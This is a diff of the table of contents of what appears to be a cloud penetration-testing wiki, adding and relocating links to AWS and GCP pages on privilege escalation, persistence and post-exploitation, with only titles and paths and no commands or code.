@@ -121,6 +125,7 @@
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
@@ -129,6 +134,7 @@
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -138,6 +144,7 @@
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
@@ -185,6 +192,7 @@
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
@@ -216,109 +224,139 @@
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
- [AWS Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
- [AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
- [AWS Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
- [AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
